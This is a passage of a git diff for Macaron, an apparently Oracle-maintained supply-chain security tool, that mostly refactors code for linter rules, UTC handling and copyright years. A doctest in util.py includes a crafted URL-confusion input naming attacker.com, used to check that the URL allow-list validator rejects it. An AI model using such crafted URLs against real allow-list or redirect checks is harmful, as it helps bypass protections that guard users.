Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. @@ -34,7 +34,7 @@ class TrustedBuilderFacts(CheckFacts): __tablename__ = "_trusted_builder_check" #: The primary key. - id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # noqa: A003 + id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) #: The name of the tool used to build. build_tool_name: Mapped[str] = mapped_column(String, nullable=False, info={"justification": JustificationType.TEXT}) @@ -45,7 +45,7 @@ class TrustedBuilderFacts(CheckFacts): #: The entrypoint script that triggers the build. build_trigger: Mapped[str] = mapped_column(String, nullable=True, info={"justification": JustificationType.HREF}) - __mapper_args__ = { + __mapper_args__ = { # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392) "polymorphic_identity": "_trusted_builder_check", } @@ -117,7 +117,6 @@ def run_check(self, ctx: AnalyzeContext) -> CheckResultData: for root in ci_info["callgraph"].root_nodes: for callee in traverse_bfs(root): if isinstance(callee, (GitHubActionsReusableWorkflowCallNode, GitHubActionsActionStepNode)): - workflow_name = callee.uses_name if workflow_name in trusted_builders: diff --git a/src/macaron/slsa_analyzer/checks/vcs_check.py b/src/macaron/slsa_analyzer/checks/vcs_check.py index 259838477..28f345143 100644 --- a/src/macaron/slsa_analyzer/checks/vcs_check.py +++ b/src/macaron/slsa_analyzer/checks/vcs_check.py @@ -24,12 +24,12 @@ class VCSFacts(CheckFacts): __tablename__ = "_vcs_check" #: The primary key. - id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # noqa: A003 + id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) #: The Git repository path. git_repo: Mapped[str] = mapped_column(String, nullable=True, info={"justification": JustificationType.HREF}) - __mapper_args__ = { + __mapper_args__ = { # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392) "polymorphic_identity": "_vcs_check", } diff --git a/src/macaron/slsa_analyzer/ci_service/base_ci_service.py b/src/macaron/slsa_analyzer/ci_service/base_ci_service.py index 56979e055..3aec8f904 100644 --- a/src/macaron/slsa_analyzer/ci_service/base_ci_service.py +++ b/src/macaron/slsa_analyzer/ci_service/base_ci_service.py @@ -1,4 +1,4 @@ -# Copyright (c) 2022 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module contains the BaseCIService class to be inherited by a CI service.""" @@ -63,7 +63,9 @@ def get_workflows(self, repo_path: str) -> list: raise NotImplementedError def is_detected( - self, repo_path: str, git_service: BaseGitService | None = None # pylint: disable=unused-argument + self, + repo_path: str, + git_service: BaseGitService | None = None, # pylint: disable=unused-argument ) -> bool: """Return True if this CI service is used in the target repo. diff --git a/src/macaron/slsa_analyzer/ci_service/github_actions/github_actions_ci.py b/src/macaron/slsa_analyzer/ci_service/github_actions/github_actions_ci.py index d222ee011..b9c975297 100644 --- a/src/macaron/slsa_analyzer/ci_service/github_actions/github_actions_ci.py +++ b/src/macaron/slsa_analyzer/ci_service/github_actions/github_actions_ci.py @@ -9,7 +9,7 @@ import logging import os import traceback -from datetime import datetime, timedelta, timezone +from datetime import UTC, datetime, timedelta from macaron.code_analyzer.dataflow_analysis.analysis import analyse_github_workflow_file from macaron.code_analyzer.dataflow_analysis.core import Node, NodeForest @@ -30,7 +30,7 @@ class GitHubActions(BaseCIService): def __init__(self) -> None: """Initialize instance.""" super().__init__(name="github_actions") - self.personal_access_token = "" # nosec B105 + self.personal_access_token = "" self.api_client: GhAPIClient = get_default_gh_client("") self.query_page_threshold = 10 self.max_items_num = 100 @@ -160,7 +160,7 @@ def has_latest_run_passed( # Setting the timezone to UTC because the date format. # We are using for GitHub Actions is in ISO format, which contains the offset # from the UTC timezone. For example: 2022-04-10T14:10:01+07:00 - current_time = datetime.now(timezone.utc) + current_time = datetime.now(UTC) # TODO: it is safer to get commit_date as a datetime object directly. commit_date_obj = datetime.fromisoformat(commit_date) day_delta = (current_time - commit_date_obj).days @@ -453,7 +453,7 @@ def workflow_run_deleted(self, timestamp: datetime) -> bool: # apiVersion=2022-11-28#retention-of-checks-data # TODO: change this check if this issue is resolved: # https://github.com/orgs/community/discussions/138249 - if datetime.now(timezone.utc) - timedelta(days=400) > timestamp: + if datetime.now(UTC) - timedelta(days=400) > timestamp: logger.debug("Artifact published at %s is older than 400 days.", timestamp) return True diff --git a/src/macaron/slsa_analyzer/git_service/api_client.py b/src/macaron/slsa_analyzer/git_service/api_client.py index 00abc1bbd..a4ed93b21 100644 --- a/src/macaron/slsa_analyzer/git_service/api_client.py +++ b/src/macaron/slsa_analyzer/git_service/api_client.py @@ -559,7 +559,9 @@ def get_file_link(self, full_name: str, commit_sha: str, file_path: str) -> str: Examples -------- >>> api_client = GhAPIClient(profile={"headers": "", "query": []}) - >>> api_client.get_file_link("owner/repo", "5aaaaa43caabbdbc26c254df8f3aaa7bb3f4ec01", ".travis_ci.yml") + >>> api_client.get_file_link( + ... "owner/repo", "5aaaaa43caabbdbc26c254df8f3aaa7bb3f4ec01", ".travis_ci.yml" + ... ) 'https://github.com/owner/repo/blob/5aaaaa43caabbdbc26c254df8f3aaa7bb3f4ec01/.travis_ci.yml' """ return f"https://github.com/{full_name}/blob/{commit_sha}/{file_path}" diff --git a/src/macaron/slsa_analyzer/git_service/gitlab.py b/src/macaron/slsa_analyzer/git_service/gitlab.py index 477ec2282..15da8203b 100644 --- a/src/macaron/slsa_analyzer/git_service/gitlab.py +++ b/src/macaron/slsa_analyzer/git_service/gitlab.py @@ -1,4 +1,4 @@ -# Copyright (c) 2022 - 2024, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module contains the spec for the GitLab service. @@ -89,10 +89,7 @@ def construct_clone_url(self, url: str) -> str: # Construct clone URL from ``urlparse`` result, with or without an access token. # https://docs.gitlab.com/ee/gitlab-basics/start-using-git.html#clone-using-a-token access_token: str | None = self.token_function() - if access_token: - clone_url_netloc = f"oauth2:{access_token}@{self.hostname}" - else: - clone_url_netloc = self.hostname + clone_url_netloc = f"oauth2:{access_token}@{self.hostname}" if access_token else self.hostname clone_url = urlunparse( ParseResult( diff --git a/src/macaron/slsa_analyzer/git_url.py b/src/macaron/slsa_analyzer/git_url.py index 8c3bf25b0..f5397fc05 100644 --- a/src/macaron/slsa_analyzer/git_url.py +++ b/src/macaron/slsa_analyzer/git_url.py @@ -7,7 +7,7 @@ import os import re import string -import subprocess # nosec B404 +import subprocess import urllib.parse from configparser import ConfigParser from pathlib import Path @@ -325,7 +325,7 @@ def clone_remote_repo(clone_dir: str, url: str) -> Repo | None: # ``git clone`` from prompting for login credentials. "GIT_TERMINAL_PROMPT": "0", } - subprocess.run( # nosec B603 + subprocess.run( args=["git", "fetch", "origin", "--force", "--tags", "--prune", "--prune-tags"], capture_output=True, cwd=clone_dir, @@ -350,7 +350,7 @@ def clone_remote_repo(clone_dir: str, url: str) -> Repo | None: # ``git clone`` from prompting for login credentials. "GIT_TERMINAL_PROMPT": "0", } - result = subprocess.run( # nosec B603 + result = subprocess.run( args=["git", "clone", "--filter=tree:0", url], capture_output=True, cwd=parent_dir, @@ -390,8 +390,8 @@ def list_remote_references(arguments: list[str], repo: str) -> str | None: The result of the command. """ try: - result = subprocess.run( # nosec B603 - args=["git", "ls-remote"] + arguments + [repo], + result = subprocess.run( + args=["git", "ls-remote", *arguments, repo], capture_output=True, # By setting stdin to /dev/null and using a new session, we prevent all possible user input prompts. stdin=subprocess.DEVNULL, @@ -615,7 +615,7 @@ def clean_up_repo_path(repo_path: str) -> str: The cleaned up repo path. """ cleaned_path = repo_path.strip(" ").rstrip("/") - return cleaned_path[:-4] if cleaned_path.endswith(".git") else cleaned_path + return cleaned_path.removesuffix(".git") def get_remote_vcs_url(url: str, clean_up: bool = True) -> str: @@ -736,7 +736,7 @@ def parse_remote_url( return None path = "" - if not port.isdecimal(): + if not port.isdecimal(): # noqa: SIM108 # Happen for ssh://git@github.com:owner/project.git # where parsed_url.netloc="git@github.com:owner", port="owner" # and parsed_url.path="project.git". @@ -763,16 +763,8 @@ def parse_remote_url( if not user or host not in allowed_git_service_hostnames: return None - path = "" port_num, _, path_remain = port_path.strip("/").partition("/") - if not port_num.isdecimal(): - # port_path doesn't have any port number (e.g. port_path == /org/name). - # We use all of port_path as the path. - path = port_path - else: - # port_path have valid port number (e.g. port_path == 7999/org/name). - # We only use the rest of the path. - path = path_remain + path = path_remain if port_num.isdecimal() else port_path path_params = path.strip("/").split("/") if len(path_params) < 2: @@ -902,10 +894,7 @@ def is_empty_repo(git_obj: Git) -> bool: # https://stackoverflow.com/questions/5491832/how-can-i-check-whether-a-git-repository-has-any-commits-in-it try: head_commit_hash = git_obj.repo.git.rev_parse("HEAD") - if not head_commit_hash: - return True - - return False + return bool(not head_commit_hash) except GitCommandError: return True @@ -929,15 +918,15 @@ def is_commit_hash(value: str) -> bool: Example ------- - >>> is_commit_hash('e3a1b6c') + >>> is_commit_hash("e3a1b6c") True - >>> is_commit_hash('e3a1b6c8d9b2ff0c9f5f8a0a5d8f4cf2e19b1db3') + >>> is_commit_hash("e3a1b6c8d9b2ff0c9f5f8a0a5d8f4cf2e19b1db3") True - >>> is_commit_hash('invalid_hash123') + >>> is_commit_hash("invalid_hash123") False - >>> is_commit_hash('master') + >>> is_commit_hash("master") False - >>> is_commit_hash('main') + >>> is_commit_hash("main") False """ pattern = r"^[a-f0-9]{7,40}$" diff --git a/src/macaron/slsa_analyzer/package_registry/jfrog_maven_registry.py b/src/macaron/slsa_analyzer/package_registry/jfrog_maven_registry.py index 25b3145ed..56e0f4522 100644 --- a/src/macaron/slsa_analyzer/package_registry/jfrog_maven_registry.py +++ b/src/macaron/slsa_analyzer/package_registry/jfrog_maven_registry.py @@ -1,4 +1,4 @@ -# Copyright (c) 2023 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """Assets on a package registry.""" @@ -154,7 +154,7 @@ def load_defaults(self) -> None: self.request_timeout = defaults.getint("requests", "timeout", fallback=10) except ValueError as error: raise ConfigurationError( - f'The value of "timeout" in section [requests] ' f"of the .ini configuration file is invalid: {error}", + f'The value of "timeout" in section [requests] of the .ini configuration file is invalid: {error}', ) from error try: diff --git a/src/macaron/slsa_analyzer/package_registry/maven_central_registry.py b/src/macaron/slsa_analyzer/package_registry/maven_central_registry.py index 957193229..b682d3957 100644 --- a/src/macaron/slsa_analyzer/package_registry/maven_central_registry.py +++ b/src/macaron/slsa_analyzer/package_registry/maven_central_registry.py @@ -6,7 +6,7 @@ import hashlib import logging import urllib.parse -from datetime import datetime, timezone +from datetime import UTC, datetime import requests from packageurl import PackageURL @@ -233,7 +233,7 @@ def find_publish_timestamp(self, purl: str) -> datetime: # The timestamp published in Maven Central is in milliseconds and needs to be divided by 1000. # Unfortunately, this is not documented in the API docs. try: - return datetime.fromtimestamp(round(timestamp / 1000), tz=timezone.utc) + return datetime.fromtimestamp(round(timestamp / 1000), tz=UTC) except (OverflowError, OSError) as error: raise InvalidHTTPResponseError(f"The timestamp returned by {url} is invalid") from error diff --git a/src/macaron/slsa_analyzer/package_registry/osv_dev.py b/src/macaron/slsa_analyzer/package_registry/osv_dev.py index b5955ffa5..eda4e7683 100644 --- a/src/macaron/slsa_analyzer/package_registry/osv_dev.py +++ b/src/macaron/slsa_analyzer/package_registry/osv_dev.py @@ -261,11 +261,10 @@ def call_osv_querybatch_api(query_data: dict, expected_size: int | None = None) results = res_obj.get("results") if res_obj else None if isinstance(results, list): - if expected_size: - if len(results) != expected_size: - raise APIAccessError( - f"Failed to retrieve a valid result from {url}: result count does not match the expected count." - ) + if expected_size and len(results) != expected_size: + raise APIAccessError( + f"Failed to retrieve a valid result from {url}: result count does not match the expected count." + ) return results diff --git a/src/macaron/slsa_analyzer/package_registry/pypi_registry.py b/src/macaron/slsa_analyzer/package_registry/pypi_registry.py index 777bd1f1b..55fded189 100644 --- a/src/macaron/slsa_analyzer/package_registry/pypi_registry.py +++ b/src/macaron/slsa_analyzer/package_registry/pypi_registry.py @@ -49,7 +49,7 @@ def _handle_temp_dir_clean(function: Callable, path: str, onerror: tuple) -> None: - raise SourceCodeError(f"Error removing with shutil. function={function}, " f"path={path}, excinfo={onerror}") + raise SourceCodeError(f"Error removing with shutil. function={function}, path={path}, excinfo={onerror}") class PyPIRegistry(PackageRegistry): @@ -277,9 +277,7 @@ def download_package_sourcecode(self, url: str) -> str: temp_dir, f"Error downloading source code from file {file_name}: {error}", error ) if not download_succeeded: - self.cleanup_sourcecode_directory( - temp_dir, f"Error downloading source code from file {file_name}." - ) + self.cleanup_sourcecode_directory(temp_dir, f"Error downloading source code from file {file_name}.") if not tarfile.is_tarfile(source_file): self.cleanup_sourcecode_directory(temp_dir, f"Unable to extract source code from file {file_name}") @@ -288,8 +286,7 @@ def download_package_sourcecode(self, url: str) -> str: with tarfile.open(source_file, "r:gz") as sourcecode_tar: members = sourcecode_tar.getmembers() if members and all( - member.name == package_name or member.name.startswith(f"{package_name}/") - for member in members + member.name == package_name or member.name.startswith(f"{package_name}/") for member in members ): # Most sdists wrap their contents in a single package-version directory. # Strip that wrapper during extraction so the returned temp directory @@ -353,9 +350,7 @@ def download_package_wheel(self, url: str) -> str: temp_dir, f"Error downloading wheel from file {file_name}: {error}", error ) if not download_succeeded: - self.cleanup_sourcecode_directory( - temp_dir, f"Error downloading wheel from file {file_name}." - ) + self.cleanup_sourcecode_directory(temp_dir, f"Error downloading wheel from file {file_name}.") # Wheel is a zip if not zipfile.is_zipfile(wheel_file): @@ -371,7 +366,7 @@ def download_package_wheel(self, url: str) -> str: if member.filename.endswith("METADATA"): members.append(member) # Intended suppression. The tool is unable to see that .extractall is being called with a filter - zip_file.extractall(temp_dir, members) # nosec B202:tarfile_unsafe_members + zip_file.extractall(temp_dir, members) # noqa: S202 except zipfile.BadZipFile as bad_zip: self.cleanup_sourcecode_directory(temp_dir, f"Error extracting wheel: {bad_zip}", bad_zip) @@ -577,7 +572,7 @@ def get_python_requires_for_package_requirement(self, package_requirement: str) if releases: # Find smallest requirement satisfying parsed_requirement.name version_tuples: list[tuple[str, Version]] = [] - for version in releases.keys(): + for version in releases: try: version_name = str(version) parsed_version = Version(version_name) @@ -657,9 +652,7 @@ class PyPIInspectorAsset: def __bool__(self) -> bool: """Determine if this inspector object is empty.""" - if (self.package_sdist_link or self.package_whl_links) and self.package_link_reachability: - return True - return False + return bool((self.package_sdist_link or self.package_whl_links) and self.package_link_reachability) @staticmethod def get_structure(pypi_inspector_url: str) -> list[str] | None: @@ -1130,11 +1123,7 @@ def file_exists(self, path: str) -> bool: if not os.path.isabs(path): path = os.path.join(self.package_sourcecode_path, path) - if not os.path.exists(path): - # Could not find a file at that path - return False - - return True + return os.path.exists(path) def iter_sourcecode(self) -> Iterator[tuple[str, bytes]]: """ @@ -1157,10 +1146,7 @@ def iter_sourcecode(self) -> Iterator[tuple[str, bytes]]: for root, _directories, files in os.walk(self.package_sourcecode_path): for file in files: - if root == ".": - root_path = os.getcwd() + os.linesep - else: - root_path = root + root_path = os.getcwd() + os.linesep if root == "." else root filepath = os.path.join(root_path, file) with open(filepath, "rb") as handle: diff --git a/src/macaron/slsa_analyzer/provenance/expectations/cue/__init__.py b/src/macaron/slsa_analyzer/provenance/expectations/cue/__init__.py index 2f8caf3de..32dbe94fc 100644 --- a/src/macaron/slsa_analyzer/provenance/expectations/cue/__init__.py +++ b/src/macaron/slsa_analyzer/provenance/expectations/cue/__init__.py @@ -1,4 +1,4 @@ -# Copyright (c) 2023 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module provides CUE expectation implementations. @@ -30,10 +30,10 @@ class CUEExpectation(Expectation): __tablename__ = "_cue_expectation" #: The primary key, which is also a foreign key to the base check table. - id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # noqa: A003 + id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) #: The polymorphic inheritance configuration. - __mapper_args__ = { + __mapper_args__ = { # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392) "polymorphic_identity": "_cue_expectation", } diff --git a/src/macaron/slsa_analyzer/provenance/expectations/cue/cue_validator.py b/src/macaron/slsa_analyzer/provenance/expectations/cue/cue_validator.py index fc7e92c1b..ad25a40fc 100644 --- a/src/macaron/slsa_analyzer/provenance/expectations/cue/cue_validator.py +++ b/src/macaron/slsa_analyzer/provenance/expectations/cue/cue_validator.py @@ -1,10 +1,10 @@ -# Copyright (c) 2023 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """The cue module invokes the CUE schema validator.""" import os -import subprocess # nosec B404 +import subprocess from macaron import MACARON_PATH from macaron.config.defaults import defaults @@ -39,7 +39,7 @@ def get_target(expectation_path: str | None) -> str: ] try: - result = subprocess.run( # nosec B603 + result = subprocess.run( # noqa: S603 cmd, capture_output=True, check=True, @@ -88,7 +88,7 @@ def validate_expectation(expectation_path: str, prov_stmt_path: str) -> bool: ] try: - result = subprocess.run( # nosec B603 + result = subprocess.run( # noqa: S603 cmd, capture_output=True, check=True, diff --git a/src/macaron/slsa_analyzer/provenance/intoto/v01/__init__.py b/src/macaron/slsa_analyzer/provenance/intoto/v01/__init__.py index bee069028..51b86c614 100644 --- a/src/macaron/slsa_analyzer/provenance/intoto/v01/__init__.py +++ b/src/macaron/slsa_analyzer/provenance/intoto/v01/__init__.py @@ -1,4 +1,4 @@ -# Copyright (c) 2023 - 2024, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module handles in-toto version 0.1 attestations.""" @@ -20,7 +20,7 @@ class InTotoV01Statement(TypedDict): _type: str subject: list[InTotoV01Subject] - predicateType: str # noqa: N815 + predicateType: str predicate: dict[str, JsonType] | None diff --git a/src/macaron/slsa_analyzer/provenance/intoto/v1/__init__.py b/src/macaron/slsa_analyzer/provenance/intoto/v1/__init__.py index 2854b91e2..e7c4b1b31 100644 --- a/src/macaron/slsa_analyzer/provenance/intoto/v1/__init__.py +++ b/src/macaron/slsa_analyzer/provenance/intoto/v1/__init__.py @@ -1,4 +1,4 @@ -# Copyright (c) 2023 - 2024, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module handles in-toto version 1 attestations.""" @@ -21,7 +21,7 @@ class InTotoV1Statement(TypedDict): _type: str subject: list[InTotoV1ResourceDescriptor] - predicateType: str # noqa: N815 + predicateType: str predicate: dict[str, JsonType] | None diff --git a/src/macaron/slsa_analyzer/provenance/loader.py b/src/macaron/slsa_analyzer/provenance/loader.py index 0b7b1352b..a678f0a85 100644 --- a/src/macaron/slsa_analyzer/provenance/loader.py +++ b/src/macaron/slsa_analyzer/provenance/loader.py @@ -102,14 +102,14 @@ def decode_provenance(provenance: dict) -> dict[str, JsonType]: If the payload could not be decoded. """ # The GitHub Attestation stores the DSSE envelope in `dsseEnvelope` property. - dsse_envelope = provenance.get("dsseEnvelope", None) + dsse_envelope = provenance.get("dsseEnvelope") if dsse_envelope: provenance_payload = dsse_envelope.get("payload", None) logger.debug("Found dsseEnvelope property in the provenance.") else: # Some provenances, such as Witness may not include the DSSE envelope `dsseEnvelope` # property but contain its value directly. - provenance_payload = provenance.get("payload", None) + provenance_payload = provenance.get("payload") if not provenance_payload: # PyPI Attestation. provenance_payload = json_extract(provenance, ["envelope", "statement"], str) diff --git a/src/macaron/slsa_analyzer/registry.py b/src/macaron/slsa_analyzer/registry.py index 55dd7f7a3..edfed93ed 100644 --- a/src/macaron/slsa_analyzer/registry.py +++ b/src/macaron/slsa_analyzer/registry.py @@ -1,4 +1,4 @@ -# Copyright (c) 2022 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module contains the Registry class for loading checks.""" @@ -11,7 +11,7 @@ import traceback from collections.abc import Callable, Iterable from graphlib import CycleError, TopologicalSorter -from typing import Any, TypeVar +from typing import Any, ClassVar, TypeVar from macaron.config.defaults import defaults from macaron.console import access_handler @@ -37,10 +37,10 @@ class Registry: """This abstract class is used to store checks in Macaron.""" - _all_checks_mapping: dict[str, BaseCheck] = {} + _all_checks_mapping: ClassVar[dict[str, BaseCheck]] = {} # Map between a check and any child checks that depend on it. - _check_relationships_mapping: dict[str, dict[str, CheckResultType]] = {} + _check_relationships_mapping: ClassVar[dict[str, dict[str, CheckResultType]]] = {} # The format for check id _id_format = re.compile(r"^mcn_([a-z]+_)+([0-9]+)$") @@ -254,10 +254,7 @@ def _validate_check_id_format(check_id: Any) -> bool: >>> Registry._validate_check_id_format("Some_Thing', '', '%(*$)") False """ - if (not isinstance(check_id, str)) or (not Registry._id_format.match(check_id)): - return False - - return True + return not (not isinstance(check_id, str) or not Registry._id_format.match(check_id)) @staticmethod def _validate_check_relationship(relationship: Any) -> bool: @@ -277,16 +274,13 @@ def _validate_check_relationship(relationship: Any) -> bool: bool True if valid, else False. """ - if ( + return bool( relationship and isinstance(relationship, tuple) and len(relationship) == 2 and isinstance(relationship[0], str) and isinstance(relationship[1], CheckResultType) - ): - return True - - return False + ) def get_parents(self, check_id: str) -> set[str]: """Return the ids of all direct parent checks. diff --git a/src/macaron/util.py b/src/macaron/util.py index b6f789493..d4e6420f0 100644 --- a/src/macaron/util.py +++ b/src/macaron/util.py @@ -59,17 +59,16 @@ def url_is_safe(url: str, allow_list: list[str] | None = None, allow_login: bool False >>> url_is_safe("https://username:attacker.com\\@allowlist.com", ["allowlist.com"]) False - >>> url_is_safe("https://username:test@allowlist.com", ["allowlist.com"], allow_login = True) + >>> url_is_safe("https://username:test@allowlist.com", ["allowlist.com"], allow_login=True) True """ try: parsed_url = urllib.parse.urlparse(url) except ValueError: return False - if not allow_login: - if parsed_url.username or parsed_url.password: - logger.debug("Potential attempt to redirect to an invalid URL: hostname %s", parsed_url.hostname) - return False + if not allow_login and (parsed_url.username or parsed_url.password): + logger.debug("Potential attempt to redirect to an invalid URL: hostname %s", parsed_url.hostname) + return False hostname = parsed_url.hostname if hostname is None or hostname == "": @@ -371,9 +370,7 @@ def can_download_file(url: str, size_limit: int, timeout: int | None = None) -> return False size = response.headers.get("Content-Length") - if size and int(size) <= size_limit: - return True - return False + return bool(size and int(size) <= size_limit) def download_file_with_size_limit( @@ -471,10 +468,7 @@ def check_rate_limit(response: Response) -> None: response : Response The latest response from GitHub API. """ - if "X-RateLimit-Remaining" in response.headers: - remains = int(response.headers["X-RateLimit-Remaining"]) - else: - remains = 2 + remains = int(response.headers["X-RateLimit-Remaining"]) if "X-RateLimit-Remaining" in response.headers else 2 if remains <= 1: rate_limit_reset = response.headers.get("X-RateLimit-Reset", default="") @@ -509,7 +503,7 @@ def construct_query(params: dict) -> str: Examples -------- - >>> construct_query({"bar":1,"foo":2}) + >>> construct_query({"bar": 1, "foo": 2}) 'bar=1&foo=2' """ return urllib.parse.urlencode(params) @@ -531,9 +525,7 @@ def download_github_build_log(url: str, headers: dict) -> str: The content of the downloaded build log or empty if error. """ logger.debug("Downloading content at link %s", url) - response = requests.get( - url=url, headers=headers, timeout=defaults.getint("requests", "timeout", fallback=10) - ) # nosec B113:request_without_timeout + response = requests.get(url=url, headers=headers, timeout=defaults.getint("requests", "timeout", fallback=10)) return response.content.decode("utf-8") @@ -621,7 +613,7 @@ class BytesDecoder: """ # Taken from https://w3techs.com/technologies/overview/character_encoding. - COMMON_ENCODINGS = [ + COMMON_ENCODINGS = ( "ISO-8859-1", "cp1252", "cp1251", @@ -632,7 +624,7 @@ class BytesDecoder: "cp1250", "ISO-8859-2", "big5", - ] + ) @staticmethod def decode(data: bytes) -> str | None: diff --git a/src/macaron/vsa/vsa.py b/src/macaron/vsa/vsa.py index 43b9ca156..5115b6153 100644 --- a/src/macaron/vsa/vsa.py +++ b/src/macaron/vsa/vsa.py @@ -1,4 +1,4 @@ -# Copyright (c) 2024 - 2024, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2024 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """VSA schema and generation.""" @@ -38,7 +38,7 @@ class Vsa(TypedDict): """ #: The payload type. Following in-toto, this is always ``application/vnd.in-toto+json``. - payloadType: str # noqa: N815 + payloadType: str #: The payload of the VSA, base64 encoded. payload: str @@ -66,7 +66,7 @@ class VsaStatement(TypedDict): #: Identifier for the type of the Predicate. #: For Macaron-generated VSAs, this is always ``https://slsa.dev/verification_summary/v1``. - predicateType: str # noqa: N815 + predicateType: str #: The Predicate of the attestation, providing information about the verification. predicate: VsaPredicate @@ -89,14 +89,14 @@ class VsaPredicate(TypedDict): #: The timestamp when the verification occurred. #: The field is a #: `Timestamp `_. - timeVerified: str # noqa: N815 + timeVerified: str #: URI that identifies the resource associated with the software component being verified. #: This field is a #: `ResourceURI `_. #: Currently, this has the same value as the subject of the VSA, i.e. the PURL of #: the software component being verified against. - resourceUri: str # noqa: N815 + resourceUri: str #: The policy that the subject software component was verified against. #: This field is a @@ -104,12 +104,12 @@ class VsaPredicate(TypedDict): policy: Policy #: The verification result. - verificationResult: VerificationResult # noqa: N815 + verificationResult: VerificationResult #: According to SLSA, this field "indicates the highest level of each track verified #: for the artifact (and not its dependencies), or ``FAILED`` if policy verification failed". #: We currently leave this list empty. - verifiedLevels: list # noqa: N815 + verifiedLevels: list class Verifier(TypedDict): @@ -120,7 +120,7 @@ class Verifier(TypedDict): #: The identity of the verifier as a #: `TypeURI `_. - id: str # noqa: A003 + id: str #: A mapping from components of the verifier and their corresponding versions. #: At the moment, this field only includes Macaron itself. diff --git a/tests/analyze_json_output/compare_analyze_json_output.py b/tests/analyze_json_output/compare_analyze_json_output.py index 322a902a8..d98c15f92 100755 --- a/tests/analyze_json_output/compare_analyze_json_output.py +++ b/tests/analyze_json_output/compare_analyze_json_output.py @@ -1,4 +1,4 @@ -# Copyright (c) 2022 - 2024, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module checks the result JSON files against the expected outputs.""" @@ -83,7 +83,7 @@ def compare_check_results(result: dict, expected: dict) -> int: def compare_target_info(result: dict, expected: dict) -> int: - """Compare the content of the target.info section""" + """Compare the content of the target.info section.""" # Remove nondeterministic fields result["local_cloned_path"] = expected["local_cloned_path"] = "" result["commit_date"] = expected["commit_date"] = "" diff --git a/tests/artifact/test_local_artifact.py b/tests/artifact/test_local_artifact.py index 5ac5cf651..0548b084a 100644 --- a/tests/artifact/test_local_artifact.py +++ b/tests/artifact/test_local_artifact.py @@ -1,4 +1,4 @@ -# Copyright (c) 2024 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2024 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """Test the local artifact utilities.""" @@ -121,7 +121,7 @@ def test_construct_local_artifact_paths_glob_pattern_pypi_purl_error(purl_str: s def test_find_artifact_paths_from_invalid_python_venv() -> None: - """Test find_artifact_paths_from_python_venv method with invalid venv path""" + """Test find_artifact_paths_from_python_venv method with invalid venv path.""" with pytest.raises(LocalArtifactFinderError): find_artifact_dirs_from_python_venv("./does-not-exist", ["django", "django-5.0.6.dist-info"]) diff --git a/tests/build_spec_generator/cli_command_parser/test_gradle_cli_command.py b/tests/build_spec_generator/cli_command_parser/test_gradle_cli_command.py index e837ab299..31b7fba6d 100644 --- a/tests/build_spec_generator/cli_command_parser/test_gradle_cli_command.py +++ b/tests/build_spec_generator/cli_command_parser/test_gradle_cli_command.py @@ -79,7 +79,7 @@ def test_comparing_gradle_cli_command_unequal( """Test comparing two unequal GradleCLICommand objects.""" this_command = gradle_cli_parser.parse(this.split()) that_command = gradle_cli_parser.parse(that.split()) - assert not this_command == that_command + assert this_command != that_command @pytest.mark.parametrize( diff --git a/tests/build_spec_generator/cli_command_parser/test_maven_cli_command.py b/tests/build_spec_generator/cli_command_parser/test_maven_cli_command.py index 33ad2c276..2e5f697c5 100644 --- a/tests/build_spec_generator/cli_command_parser/test_maven_cli_command.py +++ b/tests/build_spec_generator/cli_command_parser/test_maven_cli_command.py @@ -1,4 +1,4 @@ -# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved. # Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/. """This module contains tests for the maven_cli_command module.""" @@ -65,7 +65,7 @@ def 